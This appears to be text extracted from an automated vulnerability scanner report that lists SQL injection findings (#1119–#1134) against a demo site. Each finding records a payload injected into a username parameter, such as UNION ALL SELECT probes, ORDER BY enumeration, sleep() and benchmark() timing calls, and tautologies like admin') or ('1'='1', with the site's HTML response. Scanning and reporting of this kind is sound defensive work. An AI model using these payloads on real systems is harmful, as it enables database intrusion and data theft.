hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1119
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1120
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1121
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io') or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1122
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1123
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1124
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor pg_SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #1125
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or ('1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1126
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1127
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '-'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1128
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,2,1))='i'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1129
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1130
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# benchmark(50000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1131
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or ''&'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1132
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1133Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1134
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
